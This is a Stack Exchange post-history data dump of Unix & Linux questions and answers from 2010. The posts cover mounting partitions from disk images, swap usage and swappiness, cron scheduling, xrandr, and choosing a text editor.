  <row Id="5512" PostHistoryTypeId="5" PostId="2662" RevisionGUID="0ea6ffaa-6ac2-4b73-b23a-8373d42d763b" CreationDate="2010-10-03T10:15:50.903" UserId="1327" Comment="added 1191 characters in body" Text="When you use `dd` on `/dev/sdb` instead of `/dev/sdb1` or `/dev/sdb2`, you copy **all** the *partitions* from the said drive instead of just one partition.&#xD;&#xA;&#xD;&#xA;You must mount each partition seperatly. &#xD;&#xA;&#xD;&#xA;Using your output from `file -s sdb.img` we find the `startsectors` for each partition:&#xD;&#xA;&#xD;&#xA;&gt; sdb.img: x86 boot sector; **partition 1**:&#xD;&#xA;&gt; ID=0x12, starthead 1, **startsector 63**,&#xD;&#xA;&gt; 10233342 sectors; **partition 2**: ID=0xc,&#xD;&#xA;&gt; active, starthead 0, **startsector&#xD;&#xA;&gt; 10233405**, 72517410 sectors; **partition&#xD;&#xA;&gt; 3**: ID=0xc, starthead 0, **startsector&#xD;&#xA;&gt; 82750815**, 73545570 sectors, code&#xD;&#xA;&gt; offset 0xc0&#xD;&#xA;&#xD;&#xA;**Partition**&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;**Startsector**  &#xD;&#xA;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;63  &#xD;&#xA;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10233405  &#xD;&#xA;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;82750815  &#xD;&#xA;&#xD;&#xA;To mount a single partition, where `X`  is the **startsector** of that partition, run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb -o offset=$((X*512))&#xD;&#xA;&#xD;&#xA;So to mount  the **second partition**, you will have to run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb2 -o offset=$((10233405*512))&#xD;&#xA;&#xD;&#xA;**note:** make sure that `/mnt/sdb2` exists before you run this.&#xD;&#xA;&#xD;&#xA;Have fun!&#xD;&#xA;" />
  <row Id="5513" PostHistoryTypeId="2" PostId="2663" RevisionGUID="ed04bba9-7be4-4d60-9329-b279bec75253" CreationDate="2010-10-03T10:17:35.107" UserId="274" Text="It is normal for Linux systems to use _some_ swap even if there is still RAM free.  The Linux kernel will move to swap memory pages that are very seldom used (e.g., the `getty` instances when you only use X11, and some other inactive daemon).&#xD;&#xA;&#xD;&#xA;Swap space usage becomes an issue _only when there is not enough RAM available,_ and the kernel is forced to continuously move memory pages to swap and back to RAM, just to keep applications running.  In this case, system monitor applications would show a lot of disk I/O activity.&#xD;&#xA;&#xD;&#xA;For comparison, my Ubuntu 10.04 system, with two users logged in with X11 sessions both running GNOME desktop, uses ~600MB of swap and ~1GB of RAM (not counting buffers and fs cache), so I'd say that your figures for swap usage look normal." />
  <row Id="5514" PostHistoryTypeId="6" PostId="2661" RevisionGUID="0eb9a9b4-11a7-4355-8c3a-5a65cb50fff3" CreationDate="2010-10-03T10:17:40.737" UserId="1327" Comment="edited tags" Text="émountàéddà" />
  <row Id="5515" PostHistoryTypeId="2" PostId="2664" RevisionGUID="049fa49d-d36c-4234-8f5e-d38e67b96966" CreationDate="2010-10-03T10:17:59.587" UserId="102" Text="This behaviour can be configured by setting the value of ``/proc/sys/vm/swappiness``. The default value is 60, setting it to 0 means “never use swap when there is still RAM left“ and 100 is swapping out memory as soon as possible.&#xD;&#xA;&#xD;&#xA;There has been some debate on whether swapping out with free memory available is good or bad, but the Ubuntu help does indeed recommend a value of 10 for Desktop systems: https://help.ubuntu.com/community/SwapFaq&#xD;&#xA; " />
  <row Id="5516" PostHistoryTypeId="5" PostId="2658" RevisionGUID="1cc4d184-c350-46f9-a0a2-c9fac1ac1bf6" CreationDate="2010-10-03T10:24:06.090" UserId="1327" Comment="added 309 characters in body" Text="Using **swap** space instead of **RAM** can *drastically slow down* a pc. &#xD;&#xA;&#xD;&#xA;So why, when I have more than enough **RAM** available, does my linux ( arch ) use the **swap**?&#xD;&#xA;&#xD;&#xA;Checkout my conky output below:&#xD;&#xA;&#xD;&#xA;![conky output][1]&#xD;&#xA;&#xD;&#xA;Also, could this be the cause of speed and system-responsiveness issues I'm having?&#xD;&#xA;&#xD;&#xA;**updated:** output of `free -m`&#xD;&#xA;&#xD;&#xA;    $ free -m&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          1257       1004        252          0         51        778&#xD;&#xA;    -/+ buffers/cache:        174       1082&#xD;&#xA;    Swap:          502        144        357&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Ubmwh.png" />
  <row Id="5517" PostHistoryTypeId="6" PostId="2640" RevisionGUID="2b205bed-b9e2-4e3e-ad64-09bc60c4f3b0" CreationDate="2010-10-03T10:28:27.870" UserId="73" Comment="edited tags" Text="éshellàérootàébestöpractiseà" />
  <row Id="5518" PostHistoryTypeId="2" PostId="2665" RevisionGUID="6d5b9165-c7b2-4c28-a046-c5198e40f930" CreationDate="2010-10-03T11:39:04.007" UserId="1327" Text="I had some success using **[bashrun][1]**, its simple, with many features and very costumizable.&#xD;&#xA;&#xD;&#xA;a few [screenshots][3]:&#xD;&#xA;&#xD;&#xA;[![bashrun][2]][3]&#xD;&#xA;&#xD;&#xA;  [1]:http://bashrun.sourceforge.net/&#xD;&#xA;  [2]:http://bashrun.sourceforge.net/screenshot.jpg&#xD;&#xA;  [3]:http://bashrun.sourceforge.net/screenshots.htm" />
  <row Id="5519" PostHistoryTypeId="16" PostId="2665" RevisionGUID="6d5b9165-c7b2-4c28-a046-c5198e40f930" CreationDate="2010-10-03T11:39:04.007" UserId="-1" />
  <row Id="5520" PostHistoryTypeId="2" PostId="2666" RevisionGUID="1492551f-352e-46e8-a0ea-4c196accf475" CreationDate="2010-10-03T11:51:12.917" UserId="2123" Text="Do you have SSH compression enabled?  This kind of scrolling and highlighting generates a whole lot of redundant terminal traffic; compression makes a huge difference over a remote link." />
  <row Id="5521" PostHistoryTypeId="5" PostId="1287" RevisionGUID="bb795372-c79a-4c2f-bf8a-a2fbf49c76a1" CreationDate="2010-10-03T14:38:23.160" UserDisplayName="Roger Pate" Comment="added 7 characters in body" Text="    0 0 * * Thu bash -c '(($(date +\%s) / 86400 \% 14))' &amp;&amp; your-script&#xD;&#xA;&#xD;&#xA;I used bash to do my math because I'm lazy; switch that to whatever you like.  I take advantage of January 1, 1970 being a Thursday; for other days of the week you'd have to apply an offset.  Cron needs the percent signs escaped.&#xD;&#xA;&#xD;&#xA;Quick check:&#xD;&#xA;&#xD;&#xA;    function check {&#xD;&#xA;      when=$(date --date=&quot;$1 $(($RANDOM % 24)):$(($RANDOM % 60))&quot; --utc)&#xD;&#xA;      echo -n &quot;$when: &quot;&#xD;&#xA;      (($(date +%s --date=&quot;$when&quot;) / 86400 % 14)) &amp;&amp; echo run || echo skip&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    for start in &quot;2010-12-02&quot; &quot;2011-12-01&quot;; do&#xD;&#xA;      for x in $(seq 0 12); do&#xD;&#xA;        check &quot;$start + $(($x * 7)) days&quot;&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note I've chosen random times to show this will work if run anytime on Thursday, and chosen dates which cross year boundaries plus include months with both 4 and 5 Thursdays.&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Thu Dec  2 06:19:00 UTC 2010: run&#xD;&#xA;    Thu Dec  9 23:04:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 16 05:37:00 UTC 2010: run&#xD;&#xA;    Thu Dec 23 12:49:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 30 03:59:00 UTC 2010: run&#xD;&#xA;    Thu Jan  6 11:29:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 13 13:23:00 UTC 2011: run&#xD;&#xA;    Thu Jan 20 20:33:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 27 16:48:00 UTC 2011: run&#xD;&#xA;    Thu Feb  3 17:43:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 10 05:49:00 UTC 2011: run&#xD;&#xA;    Thu Feb 17 08:46:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 24 06:50:00 UTC 2011: run&#xD;&#xA;    &#xD;&#xA;    Thu Dec  1 21:40:00 UTC 2011: run&#xD;&#xA;    Thu Dec  8 23:24:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 15 22:27:00 UTC 2011: run&#xD;&#xA;    Thu Dec 22 02:47:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 29 12:44:00 UTC 2011: run&#xD;&#xA;    Thu Jan  5 17:59:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 12 18:31:00 UTC 2012: run&#xD;&#xA;    Thu Jan 19 04:51:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 26 08:02:00 UTC 2012: run&#xD;&#xA;    Thu Feb  2 17:37:00 UTC 2012: skip&#xD;&#xA;    Thu Feb  9 14:08:00 UTC 2012: run&#xD;&#xA;    Thu Feb 16 18:50:00 UTC 2012: skip&#xD;&#xA;    Thu Feb 23 15:52:00 UTC 2012: run&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5522" PostHistoryTypeId="2" PostId="2667" RevisionGUID="712cd4b1-bd29-4013-a7d5-dd8b771541b3" CreationDate="2010-10-03T14:58:10.680" UserId="2128" Text="From Marcel's answer link to [Ubunt Swap F.A.Q.](https://help.ubuntu.com/community/SwapFaq)&#xD;&#xA;&#xD;&#xA;&gt;As a base minimum, it's highly recommended that the swap space should be equal to the amount of physical memory (RAM). Also, it's recommended that the swap space is twice the amount of physical memory (RAM) depending upon the amount of hard disk &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think you should increase your swap space in your system. The swap speeds up RAM memory allocation by allowing to discard already paged data." />
  <row Id="5523" PostHistoryTypeId="5" PostId="2632" RevisionGUID="85b6b7be-f1dc-428d-9e12-170053d1671f" CreationDate="2010-10-03T15:03:11.300" UserId="1294" Comment="added another added" Text="If you really meant `TRUE` and `FALSE` then /usr/include/glib-2.0/glib/gmacros.h has&#xD;&#xA;&#xD;&#xA;    #ifndef	FALSE&#xD;&#xA;    #define	FALSE	(0)&#xD;&#xA;    #endif&#xD;&#xA;    &#xD;&#xA;    #ifndef	TRUE&#xD;&#xA;    #define	TRUE	(!FALSE)&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;If you meant something else, you'll need to specify what you mean by `gnome-libs` more precisely.&#xD;&#xA;&#xD;&#xA;added a pretty reasonable guess&#xD;&#xA;------------------&#xD;&#xA;&#xD;&#xA;The macros you are lacking are not defined within GTK anything, and the `Elv*` booleans appear to be an enumerated type in the [Elvis Text Editor][1]:&#xD;&#xA;&#xD;&#xA;    enum {ElvFalse, ElvTrue} ELVBOOL;&#xD;&#xA;&#xD;&#xA;I suspect this code was borrowed from some other codebase and lost its headers. Unsurprisingly, this makes `ElvFalse` equivalent to `0` and `ElvTrue` equal to `1` (at least in the Southern Hemisphere, I hear things are backwards up North).&#xD;&#xA;&#xD;&#xA;Given the prototype:&#xD;&#xA;&#xD;&#xA;    void gtk_menu_item_configure(GtkMenuItem *menu_item,&#xD;&#xA;             gint show_toggle_indicator,&#xD;&#xA;             gint show_submenu_indicator);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the values 0 and 1 seem like pretty good guesses as to the value of the constants.&#xD;&#xA;&#xD;&#xA;  [1]: http://elvis.the-little-red-haired-girl.org/&#xD;&#xA;&#xD;&#xA;added in response to comment&#xD;&#xA;----------------------------&#xD;&#xA;&#xD;&#xA;From elvis-2.2_0/doc/bugs.txt:&#xD;&#xA;&#xD;&#xA;&gt; / Elvis' BOOLEAN and data type may clash with a standard one.  Change its&#xD;&#xA;  name, and the names of the True and False values.&#xD;&#xA;&#xD;&#xA;Where the `/` is the author's flag &quot;that I believe it has&#xD;&#xA;been solved.&quot; Which is peculiar when there appears &#xD;&#xA;&#xD;&#xA;    ... ElvFalse,False)&#xD;&#xA;&#xD;&#xA;in the code. But more troublesome still is in guignome/README.gnome (dated October 2003):&#xD;&#xA;&#xD;&#xA;&gt; The Gnome/GTK+ GUI extension to Elvis is being written by David Alan Gilbert&#xD;&#xA;(elvis@treblig.org). It is very much in it's development stages!&#xD;&#xA;&#xD;&#xA;I cannot build Elvis 2.2 on Unbuntu Maverick for different defects than you report (in `guix11`) and the latest Debian/Ubuntu repositories carry no Gnome version of elvis only X11. As the main Elvis page was last updated two years ago, I doubt the Gnome version ever worked or works with modern Gnome.&#xD;&#xA;&#xD;&#xA;That said, there's no harm in trying&#xD;&#xA;&#xD;&#xA;    #define False (0)&#xD;&#xA;    #define True (!False)&#xD;&#xA;&#xD;&#xA;but I'm not sure that will get you far.&#xD;&#xA;" />
  <row Id="5524" PostHistoryTypeId="5" PostId="2667" RevisionGUID="08fd1ce1-1cec-450b-b42a-db4c6e891f23" CreationDate="2010-10-03T15:08:00.110" UserId="2128" Comment="deleted 2 characters in body" Text="From [Ubunt Swap F.A.Q.](https://help.ubuntu.com/community/SwapFaq) that Marcel linked to&#xD;&#xA;&#xD;&#xA;&gt;As a base minimum, it's highly recommended that the swap space should be equal to the amount of physical memory (RAM). Also, it's recommended that the swap space is twice the amount of physical memory (RAM) depending upon the amount of hard disk &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think you should increase your swap space in your system. The swap speeds up RAM memory allocation by allowing to discard already paged data." />
  <row Id="5525" PostHistoryTypeId="5" PostId="2662" RevisionGUID="9b22cc46-2f88-454f-bd6c-8b293767934f" CreationDate="2010-10-03T15:45:21.180" UserId="1327" Comment="deleted 12 characters in body" Text="When you use `dd` on `/dev/sdb` instead of `/dev/sdb1` or `/dev/sdb2`, you copy **all** the *partitions* from the said drive into **one** file.&#xD;&#xA;&#xD;&#xA;You must mount each partition seperatly. &#xD;&#xA;&#xD;&#xA;Using your output from `file -s sdb.img` we find the `startsectors` for each partition:&#xD;&#xA;&#xD;&#xA;&gt; sdb.img: x86 boot sector; **partition 1**:&#xD;&#xA;&gt; ID=0x12, starthead 1, **startsector 63**,&#xD;&#xA;&gt; 10233342 sectors; **partition 2**: ID=0xc,&#xD;&#xA;&gt; active, starthead 0, **startsector&#xD;&#xA;&gt; 10233405**, 72517410 sectors; **partition&#xD;&#xA;&gt; 3**: ID=0xc, starthead 0, **startsector&#xD;&#xA;&gt; 82750815**, 73545570 sectors, code&#xD;&#xA;&gt; offset 0xc0&#xD;&#xA;&#xD;&#xA;**Partition**&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;**Startsector**  &#xD;&#xA;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;63  &#xD;&#xA;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10233405  &#xD;&#xA;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;82750815  &#xD;&#xA;&#xD;&#xA;To mount a single partition, where `X`  is the **startsector** of that partition, run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb -o offset=$((X*512))&#xD;&#xA;&#xD;&#xA;So to mount  the **second partition**, you will have to run:&#xD;&#xA;&#xD;&#xA;    mount ~/sdb.img /mnt/sdb2 -o offset=$((10233405*512))&#xD;&#xA;&#xD;&#xA;**note:** make sure that `/mnt/sdb2` exists before you run this.&#xD;&#xA;&#xD;&#xA;Have fun!&#xD;&#xA;" />
  <row Id="5526" PostHistoryTypeId="2" PostId="2668" RevisionGUID="fe1e1961-1b1a-40ea-aa8c-a5d294b2b648" CreationDate="2010-10-03T15:51:28.993" UserId="1327" Text="I answered [this question][1], assuming that the OP's sector size was `512`. &#xD;&#xA;&#xD;&#xA;How do I query a disc, or image of a disc, to find the sector size?&#xD;&#xA; &#xD;&#xA;  [1]:http://unix.stackexchange.com/questions/2661/mounting-a-img-file/2662#2662" />
  <row Id="5527" PostHistoryTypeId="1" PostId="2668" RevisionGUID="fe1e1961-1b1a-40ea-aa8c-a5d294b2b648" CreationDate="2010-10-03T15:51:28.993" UserId="1327" Text="finding a disc's sector size" />
  <row Id="5528" PostHistoryTypeId="3" PostId="2668" RevisionGUID="fe1e1961-1b1a-40ea-aa8c-a5d294b2b648" CreationDate="2010-10-03T15:51:28.993" UserId="1327" Text="éunixà" />
  <row Id="5529" PostHistoryTypeId="2" PostId="2669" RevisionGUID="af399bd3-f2e0-46bf-bba4-edad2c8805a7" CreationDate="2010-10-03T16:19:26.680" UserId="2000" Text="fdisk -l (that's lower L in the parameter) will show you, among other informations, the sector size too." />
  <row Id="5530" PostHistoryTypeId="2" PostId="2670" RevisionGUID="5145ba29-8455-4c50-a16f-b7917da0e859" CreationDate="2010-10-03T16:24:26.810" UserId="2000" Text="I just use mplayer. I generated a list of files from my music folders and mplayer can take that file as a playlist and play it in random order." />
  <row Id="5531" PostHistoryTypeId="5" PostId="2634" RevisionGUID="c2fb00c8-7cd0-456b-84d6-237cb21de05d" CreationDate="2010-10-03T16:49:26.837" UserId="1207" Comment="fixed the commnad" Text="You can easily wrap up a script using *find* and *rl* (package *randomize-lines* on debian).&#xD;&#xA;&#xD;&#xA;Something along the lines of:&#xD;&#xA;&#xD;&#xA;    find &quot;$1&quot; -type f -name *.mp3 | rl | while read FILE; do mpg123 &quot;$FILE&quot;; done" />
  <row Id="5533" PostHistoryTypeId="5" PostId="2668" RevisionGUID="4486a290-54a8-4d20-bda9-fbbee6837f3d" CreationDate="2010-10-03T18:42:20.267" UserId="1327" Comment="added 46 characters in body; edited title; edited tags" Text="I answered [this question][1], *assuming* that the OP's `*.img` file had a sector size of `512`. &#xD;&#xA;&#xD;&#xA;How do I query a disc, or image of a disc, to find the correct sector size for a *partition*?&#xD;&#xA; &#xD;&#xA;  [1]:http://unix.stackexchange.com/questions/2661/mounting-a-img-file/2662#2662" />
  <row Id="5534" PostHistoryTypeId="4" PostId="2668" RevisionGUID="4486a290-54a8-4d20-bda9-fbbee6837f3d" CreationDate="2010-10-03T18:42:20.267" UserId="1327" Comment="added 46 characters in body; edited title; edited tags" Text="Finding the sector size of a partition" />
  <row Id="5535" PostHistoryTypeId="6" PostId="2668" RevisionGUID="4486a290-54a8-4d20-bda9-fbbee6837f3d" CreationDate="2010-10-03T18:42:20.267" UserId="1327" Comment="added 46 characters in body; edited title; edited tags" Text="éunixàéfdiskà" />
  <row Id="5536" PostHistoryTypeId="2" PostId="2672" RevisionGUID="ec84a496-8e7e-4b33-9f43-1ac2135647b6" CreationDate="2010-10-03T18:56:52.090" UserId="1327" Text="&#xD;&#xA;I would like to run a command like `get-screen-resolution` during a **X session**  to get a '800x480' output. ( or whatever the actual screen size is ). &#xD;&#xA;&#xD;&#xA;Is there something available for this? Currently I take a *screenshot* and measure the resulting `*.jpg`'s width &amp; height attributes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, how do I **set the screensize** during a X session from the command-line?" />
  <row Id="5537" PostHistoryTypeId="1" PostId="2672" RevisionGUID="ec84a496-8e7e-4b33-9f43-1ac2135647b6" CreationDate="2010-10-03T18:56:52.090" UserId="1327" Text="Getting and setting screen size for Xorg" />
  <row Id="5538" PostHistoryTypeId="3" PostId="2672" RevisionGUID="ec84a496-8e7e-4b33-9f43-1ac2135647b6" CreationDate="2010-10-03T18:56:52.090" UserId="1327" Text="écommandölineàéxorgà" />
  <row Id="5539" PostHistoryTypeId="2" PostId="2673" RevisionGUID="6c275256-0bb3-4306-a77a-943becafc194" CreationDate="2010-10-03T19:02:26.880" UserId="73" Text="You can use [`xrandr`](http://en.wikipedia.org/wiki/RandR) to do both&#xD;&#xA;&#xD;&#xA;### Get resolution&#xD;&#xA;&#xD;&#xA;    $ xrandr&#xD;&#xA;    Screen 0: minimum 320 x 240, current 1920 x 1080, maximum 1920 x 1080&#xD;&#xA;    default connected 1920x1080+0+0 0mm x 0mm&#xD;&#xA;&#xD;&#xA;### Set resolution&#xD;&#xA;&#xD;&#xA;    $ xrandr --output default --mode 1280x1024" />
  <row Id="5540" PostHistoryTypeId="2" PostId="2674" RevisionGUID="d8a06ca6-ae53-457d-b272-d27126c9aad5" CreationDate="2010-10-03T19:07:08.883" UserId="2119" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes, etc.&#xD;&#xA;&#xD;&#xA;2. &lt;i&gt;Manually-definable fordable regions (like in c#)&lt;/i&gt; (defined by special macroses, escaped by (any language's) comments) in any language. This is the most important requirement. In Windows, as far as I can remember, UltraEdit used to have this facility.&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Code snippets / macrosses." />
  <row Id="5541" PostHistoryTypeId="1" PostId="2674" RevisionGUID="d8a06ca6-ae53-457d-b272-d27126c9aad5" CreationDate="2010-10-03T19:07:08.883" UserId="2119" Text="Can you recommend a GUI text editor for a developer (features needed are inside)?" />
  <row Id="5542" PostHistoryTypeId="3" PostId="2674" RevisionGUID="d8a06ca6-ae53-457d-b272-d27126c9aad5" CreationDate="2010-10-03T19:07:08.883" UserId="2119" Text="éeditorsàédevelopmentà" />
  <row Id="5543" PostHistoryTypeId="2" PostId="2675" RevisionGUID="b7e1541e-7644-49f8-97f2-01d95812ee7f" CreationDate="2010-10-03T19:14:18.260" UserId="1941" Text="If you like Ultra Edit, why don't you try its Linux version? Otherwise, you might try Kate. Although I don't know whether it fulfills you requirements, it is the most feature rich and configurable modern GUI editor I have seen up till now (apart from Emacs, which you explicitly don't want). " />
  <row Id="5544" PostHistoryTypeId="5" PostId="2674" RevisionGUID="f6f680f0-56d4-4894-9722-2bd75a6abfda" CreationDate="2010-10-03T19:21:39.270" UserId="2119" Comment="added 233 characters in body; added 87 characters in body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes, etc.&#xD;&#xA;&#xD;&#xA;2. &lt;i&gt;Manually-definable fordable regions (like in c#)&lt;/i&gt; (defined by special macroses, escaped by (any language's) comments) in any language. This is the most important requirement. In Windows, as far as I can remember, UltraEdit used to have this facility.&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses." />
  <row Id="5545" PostHistoryTypeId="2" PostId="2676" RevisionGUID="ecec9648-70f9-4c77-ad82-48020f871ada" CreationDate="2010-10-03T19:29:39.057" UserId="1945" Text="I don't know about all of your requirements, but two projects you should check out and try is [Geany][1] and [SciTE][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Both** of these projects sports lightweight, yet functional, editors that keep things simple. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]:http://www.geany.org/&#xD;&#xA;  [2]:http://www.scintilla.org/SciTEDownload.html" />
  <row Id="5546" PostHistoryTypeId="5" PostId="2674" RevisionGUID="562bda1e-f080-4aed-853e-adcbeba880ef" CreationDate="2010-10-03T19:31:06.737" UserId="2119" Comment="added 114 characters in body; edited body; edited body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes, etc.&#xD;&#xA;&#xD;&#xA;2. &lt;strong&gt;Manually-definable fordable regions (like in c#)&lt;/strong&gt; (defined by special macroses, escaped by (any language's) comments) in any language. This is the most important requirement. If I find an editor meeting this point alongside with 1st one, I'd be happy already. In Windows, as far as I can remember, UltraEdit used to have this facility, but I am not sure.&#xD;&#xA;&#xD;&#xA;3. Simple, but swiss-clockwork-reliable refactoring, better to say sort of &quot;multifile search-and-replace on steroids&quot;.&#xD;&#xA;&#xD;&#xA;4. Syntax highlighting.&#xD;&#xA;&#xD;&#xA;5. Corresponding open/close parentheses/braces/tags/quotes/etc. pairs highlighting.&#xD;&#xA;&#xD;&#xA;6. Autocompletion. Probably simple, dictionary-based. Would be very nice if it could wok as an IDE, showing me class members after I put a dot and press Ctrl+Space, but I can afford lack of this feature if 1-4 features are there.&#xD;&#xA;&#xD;&#xA;7. Code snippets / macrosses." />
  <row Id="5547" PostHistoryTypeId="2" PostId="2677" RevisionGUID="83be1f1a-19db-4bc3-a8f1-b2a05417501c" CreationDate="2010-10-03T19:46:20.103" UserId="1267" Text="&#xD;&#xA;Hi--&#xD;&#xA;&#xD;&#xA;  Everyone, i am in need of an urgent help. I actually deleted one of .tex files from my laptop. I use an Fedora OS. Is it possible that i recover that file. " />
  <row Id="5548" PostHistoryTypeId="1" PostId="2677" RevisionGUID="83be1f1a-19db-4bc3-a8f1-b2a05417501c" CreationDate="2010-10-03T19:46:20.103" UserId="1267" Text="Recovering deleted files on fedora" />
  <row Id="5549" PostHistoryTypeId="3" PostId="2677" RevisionGUID="83be1f1a-19db-4bc3-a8f1-b2a05417501c" CreationDate="2010-10-03T19:46:20.103" UserId="1267" Text="éfedoraà" />
  <row Id="5550" PostHistoryTypeId="5" PostId="2674" RevisionGUID="80c51004-dfc9-450f-bdcf-4b66abd3e8ae" CreationDate="2010-10-03T19:48:49.057" UserId="2119" Comment="added 72 characters in body" Text="F-cked up with all IDE bloatware (for my purposes they are all overcomplicated and inconvenient), I came to an idea, that I'd probably better use a good editor than an IDE.&#xD;&#xA;&#xD;&#xA;I DON'T need projects, I don't need build management (I'd prefer to build manually, from command line, and write build scripts myself), I don't need perspectives, workspaces, modules, etc.&#xD;&#xA;&#xD;&#xA;I need (in importance descending order)&#xD;&#xA;&#xD;&#xA;1. Nice GUI. (I am sorry to say this to be the first priority, but that's my taste, without it I feel uncomfortable and go unproductive). Please don't offer VIM (with no GUI) or [X]EMACS (with ugly GUI). No weird key scheme (like VIM has), no command modes, etc.&#xD;&#xA;&#xD;&#xA;2. &lt;strong&gt;Manually-definable fordable regions (like in c#)&lt;/strong&gt; (defined by special macroses, escaped by (any language's) comments) in any language. This is the most important requirement. If I find an editor meeting this point alongside with 1st one, I'd be happy already. In Windows, as far as I can remember, UltraEdit used to have this facility, but I am not sure (update: now I've installed UEx anc couldn't find such a feature 